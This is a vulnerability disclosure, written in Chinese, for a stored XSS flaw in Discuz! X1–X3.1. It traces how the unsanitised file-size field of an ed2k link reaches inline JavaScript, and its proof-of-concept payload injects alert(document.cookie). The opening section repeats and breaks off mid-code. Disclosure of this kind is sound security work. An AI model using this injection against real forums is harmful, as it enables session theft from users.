### 简要描述: Discuz! X 储存型XSS一枚,存在于X1 ~ X3.1最新版 ### 详细说明: 发表帖子时,Discuz对于其中的ed2k链接做了解析处理,虽然对于链接中的名称等进行了处理,但是未对传入的文件大小做处理(转为int),造成了XSS。 ed2k地址形如: ``` ed2k://|file|%E8%8B%B1%E9%9B%84%E4%BC%A0%E8%AF%B46%EF%BC%9A%E7%A9%BA%E4%B9%8B%E8%BD%A8%E8%BF%B9FC%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%873CD%E5%AE%8C%E7%BE%8E%E7%A0%B4%E8%A7%A3%E7%8F%8D%E8%97%8F%E7%89%88.exe|468173|F85A01E2F6049D10F1881ACDA4A9F704|h=MJLSJERMY4VYJIB5ZKPP7TQHQ6HI6USW|/ ``` 其中的468173即文件大小,这段地址在Discuz的function_discuzcode.php中被处理 ``` if($allowbbcode) { if(strpos($msglower, 'ed2k://') !== FALSE) { $message = preg_replace("/ed2k:\/\/(.+?)\//e", "parseed2k('\\1')", $message); //调用了parseed2k } } ``` ``` function parseed2k($url) { global $_G; list(,$type, $name, $size,) = explode('|', $url); //读出了地址中的类型、名称、文件大小数据 $url = 'ed2k://'.$url.'/'; $name = addslashes($name); if($type == 'file') { $ed2kid = 'ed2k_'.random(3); //一直到这里,均未对上面的$size变量进行安全处理,此时$size变量是字符串类型的 //下面一行,sizecount($size)调用了sizecount函数,传入了字符串型的$size return '<a...
### 简要描述: Discuz! X 储存型XSS一枚,存在于X1 ~ X3.1最新版 ### 详细说明: 发表帖子时,Discuz对于其中的ed2k链接做了解析处理,虽然对于链接中的名称等进行了处理,但是未对传入的文件大小做处理(转为int),造成了XSS。 ed2k地址形如: ``` ed2k://|file|%E8%8B%B1%E9%9B%84%E4%BC%A0%E8%AF%B46%EF%BC%9A%E7%A9%BA%E4%B9%8B%E8%BD%A8%E8%BF%B9FC%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%873CD%E5%AE%8C%E7%BE%8E%E7%A0%B4%E8%A7%A3%E7%8F%8D%E8%97%8F%E7%89%88.exe|468173|F85A01E2F6049D10F1881ACDA4A9F704|h=MJLSJERMY4VYJIB5ZKPP7TQHQ6HI6USW|/ ``` 其中的468173即文件大小,这段地址在Discuz的function_discuzcode.php中被处理 ``` if($allowbbcode) { if(strpos($msglower, 'ed2k://') !== FALSE) { $message = preg_replace("/ed2k:\/\/(.+?)\//e", "parseed2k('\\1')", $message); //调用了parseed2k } } ``` ``` function parseed2k($url) { global $_G; list(,$type, $name, $size,) = explode('|', $url); //读出了地址中的类型、名称、文件大小数据 $url = 'ed2k://'.$url.'/'; $name = addslashes($name); if($type == 'file') { $ed2kid = 'ed2k_'.random(3); //一直到这里,均未对上面的$size变量进行安全处理,此时$size变量是字符串类型的 //下面一行,sizecount($size)调用了sizecount函数,传入了字符串型的$size return '<a id="'.$ed2kid.'" href="'.$url.'" target="_blank">'.dhtmlspecialchars(urldecode($name)).' ('.sizecount($size).')</a><script language="javascript">$(\''.$ed2kid.'\').innerHTML=htmlspecialchars(unescape(decodeURIComponent(\''.$name.'\')))+\' ('.sizecount($size).')\';</script>'; } else { return '<a href="'.$url.'" target="_blank">'.$url.'</a>'; } } ``` sizecount函数 在 function_core.php 中,我们看看它是怎么处理的 ``` function sizecount($size) { if($size >= 1073741824) { //字符串型被自动转换为数值型,如果我们传入的size是英文之类的话,前几个if都是False,跳过 $size = round($size / 1073741824 * 100) / 100 . ' GB'; } elseif($size >= 1048576) { $size = round($size / 1048576 * 100) / 100 . ' MB'; } elseif($size >= 1024) { $size = round($size / 1024 * 100) / 100 . ' KB'; } else { //一直跳到这里 $size = $size . ' Bytes'; //可以看到,这里的$size未被转义就直接返回 } return $size; } ``` 由于传入的链接中的$size未被转换为数值型,最后直接输出,造成了漏洞 ### 漏洞证明: 发表一个帖子,内容包含 ``` ed2k://|file|test|'+alert(document.cookie)+'|test/ ``` 然后 $size -> '+alert(document.cookie)+' 被直接输出 [<img src="https://images.seebug.org/upload/201402/16185639ea71728ea53b8999a7c8d90c4a488784.png" alt="xss1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/16185639ea71728ea53b8999a7c8d90c4a488784.png) [<img src="https://images.seebug.org/upload/201402/1618565210569c21556e2624b9e248625b273af3.png" alt="xss2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/1618565210569c21556e2624b9e248625b273af3.png)